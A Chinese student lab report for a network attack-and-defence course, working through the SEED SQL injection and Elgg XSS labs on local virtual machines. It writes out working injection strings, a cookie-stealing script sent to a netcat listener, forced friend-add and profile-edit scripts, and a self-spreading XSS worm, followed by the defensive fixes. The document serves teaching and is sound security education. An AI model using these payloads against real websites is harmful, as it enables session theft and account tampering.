20232803 2023-2024-2 《网络攻防实践》实践十报告

news2025/1/16 23:31:48

目录

    • 1. 实践内容
      • 1.1 SEED SQL注入攻击与防御实验
      • 1.2 SEED XSS跨站脚本攻击实验(Elgg)
    • 2. 实践过程
      • 2.1 SEED SQL注入攻击与防御实验
        • 2.1.1 熟悉SQL语句
        • 2.1.2 对SELECT语句的SQL注入攻击
        • 2.1.3 对UPDATE语句的SQL注入攻击
        • 2.1.4 SQL对抗
      • 2.2 SEED XSS跨站脚本攻击实验(Elgg)
        • 2.2.1 发布恶意消息,显示警报窗口
        • 2.2.2 弹窗显示cookie信息
        • 2.2.3 窃取受害者的cookies
        • 2.2.4 成为受害者的朋友
        • 2.2.5 修改受害者的信息
        • 2.2.6 编写XSS蠕虫
        • 2.2.7 对抗XSS攻击
    • 3.学习中遇到的问题及解决
    • 4.实践总结

1. 实践内容

1.1 SEED SQL注入攻击与防御实验

  • 我们已经创建了一个Web应用程序,并将其托管在 三达不溜.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
  1. 熟悉SQL语句: 我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等)。在此任务中,您需要使用数据库来熟悉SQL查询。

  2. 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序。

  3. 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击。

  4. SQL对抗:修复上述SQL注入攻击漏洞。

1.2 SEED XSS跨站脚本攻击实验(Elgg)

  • 为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
  1. 发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口。

  2. 弹窗显示cookie信息:将cookie信息显示。

  3. 窃取受害者的cookies:将cookie发送给攻击者。

  4. 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程。

  5. 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改。

  6. 编写XSS蠕虫。

  7. 对抗XSS攻击。

2. 实践过程

  • 本次实验使用的虚拟机是SEEDUbuntu-16.04,参考Ubuntu系统修改用户名和主机名修改主机名
    在这里插入图片描述

2.1 SEED SQL注入攻击与防御实验

2.1.1 熟悉SQL语句
  • 输入命令mysql -u root -p登录数据库,密码为seedubuntu
    在这里插入图片描述

  • 先输入命令use Users;使用数据库Users,再输入show tables;查看该数据库的表
    在这里插入图片描述
    可以看到该数据库含有两张表,分别是Tables_in_Userscredential

  • 输入命令select * from Tables_in_Users;查看Tables_in_Users表中的字段和数据

  • 输入命令select * from credential; 查看credential表中的字段和数据
    在这里插入图片描述
    查看Tables_in_Users表时,提示该表不存在
    credential表中可以看到该表中含有姓名、生日、工资、密码等字段,并且有6条数据

2.1.2 对SELECT语句的SQL注入攻击
  • 自带的火狐浏览器中打开http://www.seedlabsqlinjection.com/
    在这里插入图片描述

  • 在该页面右键选择Inspect Element打开开发者工具,然后选择Network选项
    在这里插入图片描述

  • 输入任意的账号和密码,点击登录
    在这里插入图片描述
    可以看到,点击登录按钮后,该网站将用户输入的账号和密码作为路径参数,向unsafe_home.php页面发送了一个GET请求

  • 在终端中输入命令vim /var/www/SQLInjection/unsafe_home.php查看unsafe_home.php的源码

    • 首先从GET请求中获取账号和密码,并对密码进行哈希,然后检查是否存在已经登录的Session,接着与本地的数据库Users建立连接
      在这里插入图片描述
    • 建立连接后,使用SELECT语句根据账号和哈希后的密码查询用户的信息
      在这里插入图片描述
    • 接着我们可以发现管理员的账号为Admin
      在这里插入图片描述
  • 在实施SQL注入攻击之前,我们先对这条SELECT语句进行分析

SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password
FROM credential 
WHERE name= '$input_uname' and Password='$hashed_pwd';

这条语句的关键之处在于WHERE之后的条件判断
我们知道在SQL中#表示注释,如果我们在输入账号后紧接着输入一个单引号'将筛选条件终止,然后输入一个#将后面的SQL语句直接注释掉,那么这条SQL语句就能够直接被执行

  • 前面我们知道了管理员的账号是Admin,根据上述分析,我们在该网站中输入账号Admin'#进行登录,不需要输入密码
    在这里插入图片描述
  • 点击登录按钮后可以看到成功登录,进入了管理员页面,能够看到所有用户的信息
    在这里插入图片描述
    SELECT语句的SQL注入攻击成功!
2.1.3 对UPDATE语句的SQL注入攻击
  • 刚才已成功登录Admin的账号,接着点击页面上方的Edit Profile
    在这里插入图片描述
  • 打开开发者工具,输入新的用户信息
    在这里插入图片描述
  • 点击保存按钮后,可以看到该网站向unsafe_edit_backend.php页面发送了一个GET请求
    在这里插入图片描述
  • 在终端中输入命令vim /var/www/SQLInjection/unsafe_edit_backend.php查看unsafe_edit_backend.php文件的源码
    在这里插入图片描述
    可以看到这里有两条UPDATE语句,这两条是类似的,区别在于一个设置了新密码,而另一个没有设置新密码。这两条语句的区别对于我们实施SQL注入没有太大影响。
UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address', Password='$hashed_pwd', PhoneNumber='$input_phonenumber' WHERE ID=$id;

与前一个SQL注入类似,这里我们可以在SET nickname = '后面添加自己想要修改的字段,并通过WHERE name = 'xxx'来指定用户,最后使用#将后面的SQL语句注释掉

  • Edit Profile页面的NickName中输入wujinlong', SSN='20232803' where name='Alice';#,点击保存
    在这里插入图片描述
  • 可以看到修改成功,用户Alice的信息成功被修改
    在这里插入图片描述
    UPDATE语句的SQL注入攻击成功!
2.1.4 SQL对抗
  • 该网站存在SQL注入漏洞的原因是代码和用户输入的数据没有隔离,而是写在了一起,导致无法区分原始SQL语句和用户输入的数据,让攻击者有机可乘
  • SELECT语句修改如下
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password 
	FROM credential 
	WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);

在这里插入图片描述

  • 再次尝试登录
    在这里插入图片描述
  • 登录失败
    在这里插入图片描述
    修复成功
  • UPDATE语句修改如下
# 第一条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,Password=,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address,$input_password, $input_phonenumber);
# 第二条UPDATE语句
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);

在这里插入图片描述

  • 再次尝试修改,之前对Alice的信息进行了修改,这次尝试修改Boby的信息
    在这里插入图片描述

  • 点击保存后,查看信息发现修改失败
    在这里插入图片描述

修复成功!

2.2 SEED XSS跨站脚本攻击实验(Elgg)

2.2.1 发布恶意消息,显示警报窗口
  • 打开网站http://www.xsslabelgg.com/ ,该网站的用户名即为上一节的数据库中存在的用户名。除管理员Admin以外,用户的登录密码均为seed + 用户名
  • 下面我们使用Alice登录,如上所述,密码为seedalice
    在这里插入图片描述
  • 点击Alice的头像,然后点击Edit profile进入修改个人信息页面
    在这里插入图片描述
  • Brief description中输入XSS攻击代码<script> alert('xss');</script>,该代码用于弹出一个窗口
    在这里插入图片描述
  • 保存之后,再次访问Alice的主页,弹出了警报窗口
    在这里插入图片描述
2.2.2 弹窗显示cookie信息
  • Brief description中输入XSS攻击代码<script> alert(document.cookie);</script>,该代码用于弹出一个窗口,窗口中显示Cookie信息
    在这里插入图片描述
  • 保存之后,再次访问Alice的主页,弹出了警报窗口,显示了Cookie信息
    在这里插入图片描述
2.2.3 窃取受害者的cookies
  • 在页面加载时,如果遇到img标签,浏览器会向src字段指示的url发送请求。利用这一特性,我们便可以构造出如下代码,并将其写入Boby的Brief description中。
  • 当有用户访问Boby的主页时,该用户的cookie会被写到src字段中。通过document.write向页面写入了一个img标签,浏览器会把它当作是一张图片,向相应的地址和端口发送请求,请求中正携带了该用户的cookie信息
<script>
  document.write('<img src=http://127.0.0.1:2803?c=' + escape(document.cookie) + '>');
</script>

在这里插入图片描述

  • 在终端中输入命令nc -l 2803 -v监听端口
    在这里插入图片描述

  • 以Alice的身份登录,访问Boby的主页http://www.xsslabelgg.com/profile/boby
    在这里插入图片描述
    成功监听到这一请求,并且获取了受害者Alice的Cookie

2.2.4 成为受害者的朋友
  • 以Alice的身份登录,访问Boby的主页http://www.xsslabelgg.com/profile/boby,右键选择Inspect Element打开开发者工具,选择Network

  • 点击左侧的Add friend按钮向Boby发送好友请求
    在这里插入图片描述

  • 点击Add friend按钮后,向http://www.xsslabelgg.com/action/friends/add发送了POST请求,并携带了三个参数

friend=45 //要添加的用户id
__elgg_ts=1715849723 //时间戳
__elgg_token=8s6rxvluUUz-8kY8-VbeoQ //token
  • 于是构造如下js代码,用于强制添加好友
<script type="text/javascript">window.onload = function () {
    var Ajax = null;
    var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
    var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
   var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}</script>
  • 打开Alice的Edit profile页面,点击About me右侧的Edit HTML,填写以上代码并保存
    在这里插入图片描述

  • 以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页
    在这里插入图片描述
    可以看到Boby自动将Alice添加为好友了

2.2.5 修改受害者的信息
  • 与上一节相似,在Alice的Edit profile页面打开开发者工具的Network,点击保存按钮发送修改个人信息的请求
    在这里插入图片描述

根据请求结果可知,修改个人信息时,向http://www.xsslabelgg.com/action/profile/edit发送了POST请求,并携带了多个字段信息

  • 于是构造如下js代码,用于强制修改用户个人信息
<script type="text/javascript">
    window.onload = function(){
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
        var content= token + ts + "name=" + userName + "&description=<p>Edited By 20232803wjl</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        var aliceGuid=44;
        if(elgg.session.user.guid!=aliceGuid)
        {
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
	}
</script>
  • 打开Alice的Edit profile页面,点击About me右侧的Edit HTML,填写以上代码并保存
    在这里插入图片描述

  • 以Boby的身份登录,访问Alice的主页http://www.xsslabelgg.com/profile/alice,再回到Boby的主页
    在这里插入图片描述
    Boby的个人信息成功被修改

2.2.6 编写XSS蠕虫
  • 编写如下XSS蠕虫代码
<script id="worm" type="text/javascript">
    window.onload = function(){
        var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
        var jsCode = document.getElementById("worm").innerHTML;
        var tailTag = "</" + "script>"; 
        var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
 
        var userName=elgg.session.user.name;
        var guid="&guid="+elgg.session.user.guid;
        var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
        var token="&__elgg_token="+elgg.security.token.__elgg_token;
 
        //Construct the content of your url.
        var content= token + ts + "&name=" + userName + "&description=<p>XSS Attack By 20232803wjl"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
        var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
        alert(content)
     
        var aliceGuid=44;
 
        if(elgg.session.user.guid!=aliceGuid){
            var Ajax=null;
            Ajax=new XMLHttpRequest();
            Ajax.open("POST",sendurl,true);
            Ajax.setRequestHeader("Host","www.xsslabelgg.com");
            Ajax.setRequestHeader("Content-Type",
            "application/x-www-form-urlencoded");
            Ajax.send(content);
        }
    }
</script>
  • 打开Alice的Edit profile页面,点击About me右侧的Edit HTML,填写以上代码并保存
  • 以Boby的身份登录,访问Alice的主页后,再返回Boby的主页,此时发现Boby的个人信息已被修改
    在这里插入图片描述
  • 以Samy的身份登录,访问Boby的主页,再返回Samy的主页,此时发现Samy的个人信息也被修改了
    在这里插入图片描述
    由此可知,XSS蠕虫攻击成功!
2.2.7 对抗XSS攻击
  • 以管理员Admin的身份进行登录,用户名为Admin,密码为seedelgg
  • 登录后,依次点击右上角的Account - Administration
    在这里插入图片描述
  • 点击页面右侧的Plugins
    在这里插入图片描述
  • 找到HTMLawed,发现该插件已被激活,不需要再进行操作,该插件用于提供安全校验

注:显示Deactivate就表示已经激活了!!
如果是显示Activate,才需要点击Activate将其切换为Deactivate状态以激活该插件

  • 再次以Samy的身份,访问Alice的主页
    在这里插入图片描述
    可以看到Alice主页里的XSS蠕虫代码已失效,对抗成功!

3.学习中遇到的问题及解决

  • 问题1:在对抗XSS攻击实践中,激活了插件HTMLawed,但XSS攻击仍成功,也就是对抗失败了
  • 解决方案:
    • 经过检查,发现在Plugins插件页面中,插件左侧的按钮若显示Activate则表示插件未激活,若显示Deactivate则表示插件已激活
    • 于是重新激活插件,成功对抗XSS攻击

4.实践总结

对于SQL注入和XSS攻击,以前只是了解但还未实践过,这一次的实践让我对它们有了直观的感受。SQL注入漏洞让用户可以随意的操作数据库进行增删改查,XSS蠕虫更是能够自我传播。这两个漏洞都是因为没有对用户输入的数据进行校验导致的,因此在开发阶段就应注意这些安全隐患。好在现如今许多开发框架都已替我们考虑到了这些安全漏洞,现在很少有网站存在SQL注入漏洞和XSS漏洞了。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1682706.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

超前预热|博睿数据将应邀出席双态IT用户大会,分享《构建云原生时代的一体化智能可观测性》

5月31日&#xff0c;第十二届双态IT用户大会将于成都盛大开幕&#xff0c;此次大会由DCMG和双态IT论坛联合主办&#xff0c;聚焦“信创时代的组织级云原生能力建设”和“组织级云原生运维能力建设”两大会议主题&#xff0c;旨在推动双态IT落地与创新&#xff0c;为企业数字化转…

Android AV World 序

序 做Android系统开发很久了&#xff0c;基于高通和MTK硬件平台&#xff0c;使用Android10量产了一些车载项目。由于功能模块属于系统底层支撑&#xff0c;类似于docker&#xff0c;涉及到音视频的处理&#xff0c;及Display Graphics的一些处理&#xff0c;需要调试解决显示花…

【map、set】C++用红黑树来封装map、set容器

&#x1f389;博主首页&#xff1a; 有趣的中国人 &#x1f389;专栏首页&#xff1a; C进阶 &#x1f389;其它专栏&#xff1a; C初阶 | Linux | 初阶数据结构 小伙伴们大家好&#xff0c;本片文章将会讲解map和set之用红黑树来封装map、set容器的相关内容。 如果看到最后您…

Star CCM+中边界模式交界面与接触模式交界面的生成差异

前言 前文已经介绍过将零部件分配至区域的方法与步骤&#xff0c;根据接触创建边界模式交界面与根据接触创建接触模式交界面两种交界面模式对初始化时间的影响。两者除了对初始化时间的影响差异外&#xff0c;其生成的边界面也是存在差异的。本文将对两者的生成的交界面的差异…

【BUG】Edge|联想电脑 Bing 搜索报错“Ref A: 乱码、 Ref B:乱码、Ref C: 日期” 的解决办法

文章目录 省流版前言解决办法 详细解释版前言问题描述与排查过程解决办法与总结 省流版 前言 我也不清楚咋滴了&#xff0c;Bing 搜索突然偶尔报错&#xff1a; 换了代理关了插件都报错。 参考&#xff1a; 我在用bing搜索时出现了如下代码&#xff0c;导致bing无法使用&am…

只需5步帮你有效监控员工上网记录

监控员工上网记录是企业实施网络管理、确保工作效率、保护信息安全和遵循合规要求的一种常见做法。这一过程通常涉及使用专业的上网行为管理软件&#xff0c;如安企神、域智盾等&#xff0c;这些软件具备多样化的功能来帮助企业管理者有效地监控和控制员工的上网行为。以下是监…

【Java基础】IO流(4) —— 转换流、打印流

【Java基础】IO流(1) —— 简介 【Java基础】IO流(2) —— 字符流 【Java基础】IO流(3) —— 字节流 【Java基础】IO流(4) —— 转换流、打印流 【Java基础】IO流(5) —— 序列流、内存流 【Java基础】IO流(6) —— 随机访问文件流、数据流 转换流 InputStreamReader 是字节输…

DataGrip测试连接时出现报错解决方案

&#xff08;一&#xff09;报错情况描述&#xff1a; DBMS: MySQL (无版本) 区分大小写: 普通形式mixed&#xff0c;分隔形式exact Connection refused: connect. &#xff08;二&#xff09;解决方案&#xff1a; 1、 首先打开命令指示符&#xff0c;选择以管理员身份运行。…

在排序数组中查找元素的第一个位置和最后一个位置 ---- 二分查找

题目链接 题目: 分析: 如果我们查找元素的第一个位置, 随便假设一个位置为x, 如果这个数>target, 说明 [left,x-1] 是我们要找的位置, [x,right] 可以舍去, 让right mid-1,如果这个数target, 说明[left,x] 是我们要找的位置, [x1,right] 可以舍去, 让right mid,(因为当…

做抖音小店不想赔钱,这几个功能必须关掉!

大家好&#xff0c;我是电商糖果 有很多新手刚开始运营店铺&#xff0c;对店铺的有些设置并不了解。 前期将所有的设置都打开了&#xff0c;等到店铺出单之后&#xff0c;才发现麻烦一大堆。 这里糖果就跟自己开店的经验&#xff0c;劝告各位新手朋友&#xff0c;这几个功能…

数据仓库实验四:聚类分析实验

目录 一、实验目的二、实验内容和要求三、实验步骤1、建立数据表2、建立数据源视图3、建立挖掘结构Student.dmm4、部署项目并浏览结果5、挖掘模型预测 四、实验结果分析五、实验总结体会 一、实验目的 通过本实验&#xff0c;进一步理解基于划分的、基于层次的、基于密度的聚类…

【STM32项目】基于stm32智能鱼缸控制系统的设计与实现(完整工程资料源码)

实物演示效果 基于stm32智能鱼缸控制系统的设计与实现 目录&#xff1a; 实物演示效果 目录&#xff1a; 一、 绪论 1.1 项目研究目的及意义 1.1.1 选题目的 1.1.2 选题意义 1.2 国内外研究现状 1.2.1 国外发展现状 1.2.2 国内发展现状 1.3 项目研究内容 二、智能鱼缸系统总体设…

森林消防高压灭火泵的功能特点

我国森林面积广阔&#xff0c;自然资源丰富&#xff0c;而森林火灾是常见的自然灾害&#xff0c;具有范围大、损失惨、时间长、火势猛等特点。森林火灾会烧毁成片的森林&#xff0c;伤害林内的动物&#xff0c;而且还降低森林的更新能力&#xff0c;引起土壤的贫瘠和破坏森林涵…

【Qt 学习笔记】Qt常用控件 | 布局管理器 | 网格布局Grid Layout

博客主页&#xff1a;Duck Bro 博客主页系列专栏&#xff1a;Qt 专栏关注博主&#xff0c;后期持续更新系列文章如果有错误感谢请大家批评指出&#xff0c;及时修改感谢大家点赞&#x1f44d;收藏⭐评论✍ Qt常用控件 | 布局管理器 | 网格布局Grid Layout 文章编号&#xff1a…

iPhone实况照片从Windows资源管理器复制的JPG+MOV无法正常还原到iPhone

背景&#xff1a; 之前使用的iPhone 15 Pro&#xff0c;使用的Windows资源管理器当中复制导出的实况照片&#xff0c;复制出来的格式例如IMG_0001.JPG, IMG_0001.MOV。之后手机就卖掉了。现在使用的iPhone 14 Pro Max&#xff0c;想要导回之前备份的实况照片。尝试使用爱思助手…

92.网络游戏逆向分析与漏洞攻防-游戏技能系统分析-利用哈希表实现快速读取文本内容

免责声明&#xff1a;内容仅供学习参考&#xff0c;请合法利用知识&#xff0c;禁止进行违法犯罪活动&#xff01; 如果看不懂、不知道现在做的什么&#xff0c;那就跟着做完看效果&#xff0c;代码看不懂是正常的&#xff0c;只要会抄就行&#xff0c;抄着抄着就能懂了 内容…

车间人员作业行为智能检测 AI视觉在生产车间制造中的应用

车间人员作业行为智能检测系统基于神经网络人工智能视觉算法&#xff0c;车间人员作业行为智能检测通过对车间监控摄像头获取的视频图像进行分析和识别&#xff0c;实现了对人员操作行为的智能检测。系统对工人的操作环节进行分解&#xff0c;根据时间、动作标准等方面制定了规…

Django5+React18前后端分离开发实战13 使用React创建前端项目

先将nodejs的版本切换到18&#xff1a; 接着&#xff0c;创建项目&#xff1a; npx create-react-app frontend接着&#xff0c;使用webstorm打开这个刚创建的项目&#xff1a; 添加一个npm run start的配置&#xff1a; 通过start启动服务&#xff1a; 浏览器访问&…

STranslate即开即用、即用即走的翻译(OCR)工具 v1.1.3.514

软件介绍 STranslate 是一款面向 Windows 操作系统用户设计的翻译软件&#xff0c;该软件具备开源性质并且免费。它结合了翻译功能与光学字符识别&#xff08;OCR&#xff09;技术&#xff0c;允许用户高效且直接地在屏幕上进行文字的翻译和识别。在开发过程中&#xff0c;STr…